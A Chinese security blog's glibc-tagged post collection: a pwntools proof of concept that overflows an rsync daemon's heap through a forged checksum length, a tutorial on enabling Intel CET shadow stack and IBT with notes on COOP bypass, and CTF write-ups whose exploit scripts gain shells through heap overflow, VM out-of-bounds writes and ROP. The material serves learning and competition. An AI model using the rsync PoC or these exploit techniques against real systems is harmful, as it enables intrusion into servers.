包含关键字 glibc 的文章

某天在 archlinux 主页看到建议立即更新 Rsync 的警告,看了下感觉复现难度不高,于是来试试。

Rsync 版本 31.0,采用默认配置 ftp 模式。远程服务器上随便放一个 libc.so.6 文件作为测试(文件本身是什么不重要,但是要稍大一些)。

漏洞的具体分析在 Google 的这篇文章写得很清楚,我就不赘述了。简单来说就是在 rsync daemon 文件同步过程中,客户端上传用于比对文件是否一致的校验和 sum2 时,用于控制其长度的 s2length 用户可控且最大值大于 sum2 缓冲区长度。(怀疑是某次更新时被杂乱的宏定义搞晕了)伪造 s2length 即可构造最长 48 字节的堆上缓冲区溢出,威力极强。

    #!/usr/bin/python
    
    from pwn import *
    
    context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
    binary = './rsync'
    
    io = connect('127.0.0.1', 873) # 远程服务器 rsync --daemon
    e = ELF(binary)
    libc = ELF('/usr/lib/libc.so.6', checksec=None)
    
    # gdb.attach(p, 'b *$rebase(0x22068)')
    
    io.sendlineafter(b'@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4', b'@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4')
    io.sendline(b'ftp')
    io.sendafter(b'@RSYNCD: OK', bytes.fromhex('2d2d736572766572002d2d73656e646572002d766c6f67447470727a652e694c73667843497675002e006674702f6c6962632e736f2e3600001e7878683132382078786833207878683634206d6435206d64342073686131137a737464206c7a34207a6c696278207a6c69620400000700000000130000070200a0')) # 复现正常的协议交换过程等
    # cksum count, block length, cksum length, remainder length
    io.sendafter(b'root', p32(1) + p32(64) * 2 + p32(0))
    io.send(p32(0x07000044) + p32(0xcafebabe) + cyclic(64)) # 0x07000044 为消息头,0xcafebabe 为 sum,cyclic(64) 为 sum2(长度最大 16 字节,溢出 48 字节)
    
    io.recvall()

堆缓冲区溢出效果:

img

img

虽然但是,做 CTF glibc heap Pwn 做得有点恶心了,并不想写 exploit...(懒)

本文已过时,请转至 Intel CET (Shadow Stack + IBT) 保护及其绕过方式

前言

以前逆向程序的时候一直好奇 Linux 环境下编译的 C 程序每个函数开头的汇编指令 endbr64 有什么用。查阅 Intel 编程手册,其中对这个指令的描述是:

Terminate an Indirect Branch in 64-bit Mode

呃,啥?经过一些搜索后发现这个竟然是一种新型的针对 ROP 的保护机制,作为 pwner 这下不得不了解了。

Intel CET

Intel CET(Control Flow Enforcement Technology / 控制流加固技术)是近年刚兴起的技术,其中包含 Shadow Stack(SHSTK)和 IBT(Indirect Branch Tracking),Intel Tiger Lake CPU 及以上才支持。下面是我个人对这两个技术粗略不严谨的理解:

Shadow Stack 是程序运行时在不同虚拟内存段中同时维护两个调用栈,其中一个是“影子栈”,只存储返回地址。CPU 在函数调用与返回过程将同时操作两个栈,如果在函数返回时发现正常调用栈的返回地址与影子栈中的不同就产生段错误。这样一来只通过栈缓冲区溢出等方式修改栈上函数返回值以劫持控制流的方式就失效了,几乎所有 ROP / JOP 也都将失效。

Indirect Branch Tracking 是 CPU 每当执行长跳转时都检查自己下一个指令是否为 endbr64 / 32,如果是就不执行任何操作(类似 nop),如果不是就产生段错误。(实际实现是 CPU 内部维护一个状态机)

目前 Windows 只支持 Shadow Stack(Windows CFG,类似 Intel CET),还不支持 endbr 标记的 IBT;Linux 上也几乎没有支持,算是高度实验性的功能。接下来是在 Linux 上实验启用 CET 的具体操作,主要看 Shadow Stack

验证 Intel CET 是否可用

首先需要内核启用 CET 特性,Linux 6.2 默认启用 IBTLinux 6.6 正式合并 SHSTK。在命令行中验证启用状态:

$ sudo dmesg | grep CET
[    0.111658] CET detected: Indirect Branch Tracking enabled
$ cat /proc/cpuinfo | grep shstk
flags           : ... user_shstk ...
$ cat /proc/cpuinfo | grep ibt
flags           : ... ibt ...

验证某程序是否在编译时启用 CET:

$ readelf -n <application> | grep -a SHSTK
      Properties: x86 feature: IBT, SHSTK
$ readelf -n <application> | grep -a IBT
      Properties: x86 feature: IBT, SHSTK

验证当前程序(cat)运行时是否已启用 Shadow Stack:(通常不会启用)

$ cat /proc/self/status | grep shstk
$ cat /proc/<pid>/status | grep shstk # pid 为 <pid> 的程序是否启用 Shadow Stack

GCC / glibc 环境启用 Intel CET SHSTK / IBT

我的环境:

System: Archlinux
Kernel: 6.11.6-zen1-1-zen
glibc: GNU C Library (GNU libc) stable release version 2.40

编译时

使用 gcc 编译时添加以下编译参数:

gcc -fcf-protection=full

运行时

目前 glibc 动态链接器 ld.so 默认不启用 Intel CET 特性(见源码),需要设置以下环境变量以强制启用:

GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK

[!NOTE]

将以上环境变量中 on 改为 permissive 可以以更兼容的方式启用 CET(SHSTK / IBT),当程序本身或其动态链接库不支持 CET 特性时,动态链接器将自动关闭 CET。

效果

编写这样一个简单的 C 程序:

# File: test_cet.c

#include <stdio.h>

int main(void) {
  puts("Hello, shadow stack!");
  return 0;
}

编译运行:

$ gcc -fcf-protection=branch test_cet.c -o test_cet
$ GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK ./test_cet
Hello, shadow stack!

程序正常输出,但这并不是重点。接下来使用 gdb + pwndbg 调试验证 Shadow Stack 确实已启用:

$ gdb ./a.out
pwndbg> r
...
pwndbg> set environment GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK
pwndbg> start
...
pwndbg> vmmap
...
0x7ffff7400000     0x7ffff7c00000 rw-p   800000      0 [anon_7ffff7400]
...
pwndbg> b _IO_file_write
...
pwndbg> c
...
pwndbg> tele 0x7ffff7bff000 1000
00:0000│  0x7ffff7bff000 ◂— 0
... ↓     496 skipped
1f1:0f88│  0x7ffff7bfff88 —▸ 0x7ffff7e99aac (sbrk+108) ◂— test eax, eax
1f2:0f90│  0x7ffff7bfff90 —▸ 0x7ffff7e252e6 (__default_morecore+22) ◂— cmp rax, -1
1f3:0f98│  0x7ffff7bfff98 —▸ 0x7ffff7e2622b (sysmalloc+1019) ◂— mov r10, qword ptr [rbp - 0x50]
1f4:0fa0│  0x7ffff7bfffa0 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f5:0fa8│  0x7ffff7bfffa8 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38]
1f6:0fb0│  0x7ffff7bfffb0 —▸ 0x7ffff7e28002 (malloc+434) ◂— test rax, rax
1f7:0fb8│  0x7ffff7bfffb8 —▸ 0x7ffff7e012fd (_IO_file_doallocate+173) ◂— mov eax, 1
1f8:0fc0│  0x7ffff7bfffc0 —▸ 0x7ffff7e0d2dd (new_do_write+93) ◂— movzx edi, word ptr [rbx + 0x80]
1f9:0fc8│  0x7ffff7bfffc8 —▸ 0x7ffff7e0e191 (_IO_do_write+33) ◂— cmp rbx, rax
1fa:0fd0│  0x7ffff7bfffd0 —▸ 0x7ffff7e0e70b (_IO_file_overflow+283) ◂— cmp eax, -1
1fb:0fd8│  0x7ffff7bfffd8 —▸ 0x7ffff7e03dba (puts+474) ◂— cmp eax, -1
1fc:0fe0│  0x7ffff7bfffe0 —▸ 0x555555555160 (main+23) ◂— mov eax, 0
1fd:0fe8│  0x7ffff7bfffe8 —▸ 0x7ffff7da8e08 (__libc_start_call_main+120) ◂— mov edi, eax
1fe:0ff0│  0x7ffff7bffff0 —▸ 0x7ffff7da8ecc (__libc_start_main+140) ◂— mov r14, qword ptr [rip + 0x1c10a5]
1ff:0ff8│  0x7ffff7bffff8 —▸ 0x555555555075 (_start+37) ◂— hlt 
pwndbg> bt
#0  _IO_new_file_write (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0, n=18) at fileops.c:1174
#1  0x00007ffff7e0d2dd in new_do_write (fp=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0 "Hello, Intel CET!\n", 
    to_do=to_do@entry=18) at /usr/src/debug/glibc/glibc/libio/libioP.h:1030
#2  0x00007ffff7e0e191 in _IO_new_do_write (fp=fp@entry=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=<optimized out>, to_do=18) at fileops.c:426
#3  0x00007ffff7e0e70b in _IO_new_file_overflow (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, ch=10) at fileops.c:784
#4  0x00007ffff7e03dba in __GI__IO_puts (str=0x555555556004 "Hello, Intel CET!") at ioputs.c:41
#5  0x0000555555555160 in main ()
#6  0x00007ffff7da8e08 in __libc_start_call_main (main=main@entry=0x555555555149 <main>, argc=argc@entry=1, 
    argv=argv@entry=0x7fffffffe2f8) at ../sysdeps/nptl/libc_start_call_main.h:58
#7  0x00007ffff7da8ecc in __libc_start_main_impl (main=0x555555555149 <main>, argc=1, argv=0x7fffffffe2f8, init=<optimized out>, 
    fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2e8) at ../csu/libc-start.c:360
#8  0x0000555555555075 in _start ()

可以看到程序运行时多出一个超大的内存段,这就是 Shadow Stack。断点一个 libc 调用层级较深的函数,可以看到 Shadow Stack 中存储了逐层函数返回地址(调用栈)。

CET 默认不启用确实有道理,在我自己电脑上测试,全局设置环境变量(on)后连 gdb 都打不开了... 整个系统也变得极不稳定。

Fatal signal: 段错误
----- Backtrace -----
0x5ef6d4be903e ???
0x5ef6d4d107c0 ???
0x5ef6d4d109bb ???
0x746656c4c1cf ???
0x7466508bf125 ???
---------------------
A fatal error internal to GDB has been detected, further
debugging is not possible.  GDB will now terminate.

This is a bug, please report it.  For instructions, see:
<https://www.gnu.org/software/gdb/bugs/>.

fish: Job 1, 'GLIBC_TUNABLES=glibc.cpu.x86_sh…' terminated by signal SIGSEGV (Address boundary error)

用户态启用 SHSTK 底层实现

Linux 用户态动态开关 Shadow Stack 主要依赖 arch_prctl 系统调用:

arch_prctl(ARCH_SHSTK_ENABLE, unsigned long feature)
    启用‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_DISABLE, unsigned long feature)
    关闭‘feature’指定的特性。一次只能操作一个特性。

arch_prctl(ARCH_SHSTK_LOCK, unsigned long features)
    锁定特性的启用或关闭状态。‘features’ 是所有需要锁定的特性的遮罩(按位或)。没有按位或设定的特性的锁定状态不变,之后无法再启用或关闭已锁定的特性。

arch_prctl(ARCH_SHSTK_UNLOCK, unsigned long features)
    锁定特性。‘features’ 是所有需要解锁的特性的遮罩。没有按位或设定的特性的锁定状态不变。只能在 ptrace 时使用。

arch_prctl(ARCH_SHSTK_STATUS, unsigned long addr)
    将当前启用的特性拷贝到 addr 地址处。特性启用状态描述方式同上述用法中传入的 ‘features’。

可指定的特性:
    ARCH_SHSTK_SHSTK - Shadow stack
    ARCH_SHSTK_WRSS  - WRSS

Glibc 动态链接器 ld.so 中有关启用 SHSTK 的源码sysdeps/unix/sysv/linux/x86_64/dl-cet.h):

/* 用宏启用 shadow stack 以避免调用栈下溢。(刚启用时 shadow stack 为空,此时若返回将触发保护。)*/
#define ENABLE_X86_CET(cet_feature)                \
  if ((cet_feature & GNU_PROPERTY_X86_FEATURE_1_SHSTK))        \
    {                                \
      long long int kernel_feature = ARCH_SHSTK_SHSTK;        \
      INTERNAL_SYSCALL_CALL (arch_prctl, ARCH_SHSTK_ENABLE,    \
                 kernel_feature);            \
    }

#define X86_STRINGIFY_1(x)    #x
#define X86_STRINGIFY(x)    X86_STRINGIFY_1 (x)

/* 如果已在 GL(dl_x86_feature_1) 启用,则在调用 _dl_init 前启用 shadow stack。调用 _dl_setup_x86_features 以初始化 shadow stack。*/
#define RTLD_START_ENABLE_X86_FEATURES \
"\
    # 检查 shadow stack 是否已在 GL(dl_x86_feature_1) 启用。\n\
    movl _rtld_local+" X86_STRINGIFY (RTLD_GLOBAL_DL_X86_FEATURE_1_OFFSET) "(%rip), %edx\n\
    testl $" X86_STRINGIFY (X86_FEATURE_1_SHSTK) ", %edx\n\
    jz 1f\n\
    # 如果在 GL(dl_x86_feature_1) 中启用,启用 shadow stack。\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_SHSTK) ", %esi\n\
    movl $" X86_STRINGIFY (ARCH_SHSTK_ENABLE) ", %edi\n\
    movl $" X86_STRINGIFY (__NR_arch_prctl) ", %eax\n\
    syscall\n\
1:\n\
    # 将 GL(dl_x86_feature_1) 传参给 _dl_cet_setup_features。\n\
    movl %edx, %edi\n\
    # 为调用 _dl_cet_setup_features 对齐栈指针。\n\
    andq $-16, %rsp\n\
    call _dl_cet_setup_features\n\
    # 从 %r12 和 %r13 恢复 %rax 和 %rsp。\n\
    movq %r12, %rax\n\
    movq %r13, %rsp\n\
"

所以其实可以这样手动在程序中使用 shadow stack 而无需依赖 glibc ld:

#include <stdio.h>

#define ENABLE_SHSTK                                                           \
    asm("mov $0x5001, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

#define DISABLE_SHSTK                                                          \
    asm("mov $0x5002, %rdi;"                                                   \
        "mov $0x1, %rsi;"                                                      \
        "mov $158, %rax;"                                                      \
        "syscall;");

int main(void) {
    ENABLE_SHSTK
    puts("hello, world!");
    DISABLE_SHSTK
    return 0;
}

SHSTK 内核底层实现

SHSTK 的 arch_prctl 最后会转到 shstk_prctl,SHSTK 的主要逻辑就在 arch/x86/kernel/shstk.c。这里没什么好分析的,因为 SHSTK 本身由硬件实现,内核只负责检查传入参数、管理 shadow stack 内存页、设置相关寄存器等。

在申请 shadow stack 内存页 do_mmap 时,flags 参数传入了一个新的标志 VM_SHADOW_STACK,这样 mmap 会额外申请一个保护页(guard page),这个页一旦被读写就会触发段错误。Shadow stack 调用栈指针(ssp)移动方式有 pushpopincssp 指令,其中 incssp 指令移动 ssp 后会其相邻内存,且一次最多只能移动 2040 字节。加入 guard page 后可以防止程序通过 incssp 指令将 ssp 移动到非法内存区。

SHSTK 启用后的攻击思路

Shadow Stack 启用后,传统的 ROP 等技术失效,但并非无法做到类似链式 gadgets 的任意代码执行。可以采用一种叫“伪面向对象编程”(Counterfeit Object-Oriented Programming / COOP)的新技术,其基本思路是在类似 C++ 的面向对象语言中通过修改虚函数表为 vfgadgets 来达到类似 ROP 的效果。vfgadget 分为 Main Loop Gadget(将其他 gadgets 串联起来)、Argument Loader Gadget(类似 ROP 中的 pop rdi; ret;)、Invoker Gadget(类似 ROP 中的 system)、Collector Gadget(存储 Invoker 的返回值)。

img

搜寻 vfgadgets 的工具(类似 ropper):https://github.com/x86-512/VXpp

COOP 详解:https://www.offsec.com/blog/bypassing-intel-cet-with-counterfeit-objects/

实际用了下,只有在较大型的程序里可能凑齐 vfgadgets,不容易实现攻击。

anote

菜单堆,堆块大小固定为 0x1c,edit 时有明显堆溢出。堆块上有一 edit callback 函数指针,修改为 backdoor 再 edit 触发即可。虽然 edit 起始点在 callback 位置之后,但是可以堆溢出修改相邻堆上的 callback 函数指针。

Exp:

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './note'

io = process(binary)
e = ELF(binary)

# size: 0x1c
def add():
    io.sendlineafter(b'>>', b'1')

def show(index: int):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b': ', itob(index))

# size <= 0x28
def edit(index: int, size: int, content: bytes):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b': ', itob(index))
    io.sendlineafter(b': ', itob(size))
    io.sendlineafter(b': ', content)

def exit():
    io.sendlineafter(b'>>', b'4') 

backdoor = 0x080489CE

add()
add()
show(0)
io.recvuntil(b'gift: ')
heap_backdoor_addr = int(io.recvuntil(b'\n'), 16) + 8
success(f'heap_addr: {heap_backdoor_addr:x}')
edit(0, 28, p32(backdoor) * 5 + p32(0x21) + p32(heap_backdoor_addr))
edit(1, 4, p32(0))

io.interactive()

avm

VM instruction 格式为 opcode 4bits | operand_a 12bits/5bits | padding 6bits | operand_b 5bits | operand_r 5bits。

功能有加减乘除等基本运算,没有直接的加载立即数。opcode 10 是 load from stack,opcode 9 是 write to stack,两者皆不检查边界,栈上任意读写。输入的 command 在栈上,可以预先写入 libc 符号偏移。利用 main 返回地址 leak libc,VM 内计算真实地址,写 ROP chain。最后需要考虑 system 内部栈指针 16 字节对齐问题,所以返回到 system 中跳过一次 push 的位置。

Exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

def code(opcode: int, a: int, b: int, r: int) -> bytes:
    return p32((opcode << 0x1c) + (a << 0x10) + (b << 5) + r)

main_ret_addr_offset = 171408
system_8 = 329986

io.send(code(10, 3384, 0, 1) +  # load main retaddr to *1

        code(10, 328, 0, 2) +  # load offset0 to *2
        code(10, 336, 0, 3) +  # load offset1 to *3
        code(10, 344, 0, 4) +  # load offset2 to *4

        code(1, 2, 1, 5) +  # add *2 by *1 to *5
        code(1, 3, 1, 6) +  # add *3 by *1 to *6
        code(1, 4, 1, 7) +  # add *4 by *1 to *7

        code(9, 0x118 + 16, 8, 7) +  # write *7 to *retaddr+16
        code(9, 0x118 + 8, 8, 6) +  # write *6 to *retaddr+8
        code(9, 0x118 + 0, 8, 5) +  # write *5 to *retaddr

        p64(libc.search(asm('pop rdi; ret;')).__next__() - main_ret_addr_offset) +  # offset0
        p64(libc.search(b'/bin/sh\x00').__next__() - main_ret_addr_offset) +  # offset1
        p64(system_8 - main_ret_addr_offset)  # offset2 (system)
        )

io.interactive()

novel1

程序分为两部分,partI 可以向 unordered_map bloodstains 中添加 key-value。unordered map 存储键值对的方式是分 bucket,hash % bucket_count 相等的 key 放进同一 bucket,对于 bloodstains,key 类型是 unsigned int,其 std::hash 算法结果就是其值本身。partII 中输入一个 key,把这个 key 所在的 bucket 中的所有 key-value pairs 复制到栈上,如果同一 bucket 中的 key-value 够多,可以造成栈溢出。需要注意当 bucket 满时会进行 rehash,对于不同 size 的 bloodstainsbucket_count 不同,需要重新计算。栈溢出覆盖暂存栈基址和返回地址,利用 gift backdoor RACHE 栈迁移至 bss 段 author,利用 puts@plt GOT leak libc base,然后返回至 fgets 在程序中调用位置写入 ROP chain,getshell。不能使用 glibc-all-in-one 的 libc,必须从 docker image 里拿。

PoC:

#include <iostream>
#include <unordered_map>

int main() {
  std::unordered_map<unsigned int, unsigned long> map;
  for (unsigned int i = 0; i < 0x17; ++i) {
    map[i * 29] = 0;
  }
  std::cout << map.bucket_count() << ' ' << map.size() << ' ' << map.bucket_size(0) << std::endl;
  return 0;
}
// 29 23 23

Exp:

from pwn import *
from ctypes import *

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './novel1'

io = process(binary)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

io.sendlineafter(b'Author: ', p64(e.got['puts']) + p64(0x40A5D8) + p64(e.plt['puts']) + p64(0x40283C) + p64(0x40A5D8) + p64(0x40283C)) # 注意第一次 `fgets` 会立刻返回,需要调用两次。

def add(key: int, value: int):
    io.sendlineafter(b'Chapter: ', b'1')
    io.sendlineafter(b'Blood: ', str(key))
    io.sendlineafter(b'Evidence: ', str(value))

for i in range(0x17):
    add(i * 29, 0x4025be if i == 0xa else 0x40A540 if i == 0xb else i) # 布置栈上数据
io.sendlineafter(b'Chapter: ', b'2')
io.sendlineafter(b'Blood: ', b'0')

io.recvuntil(b'638\n' * 7)
libc.address = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - libc.sym['puts']
success(f'libc_base: {libc.address:x}')

io.sendline(cyclic(40).replace(b'caaadaaa', p64(0x40A5D8)).replace(b'eaaafaaagaaahaaa', p64(0) * 2) + p64(libc.address + 0xebce2)) # 再次写入 ROP

io.interactive()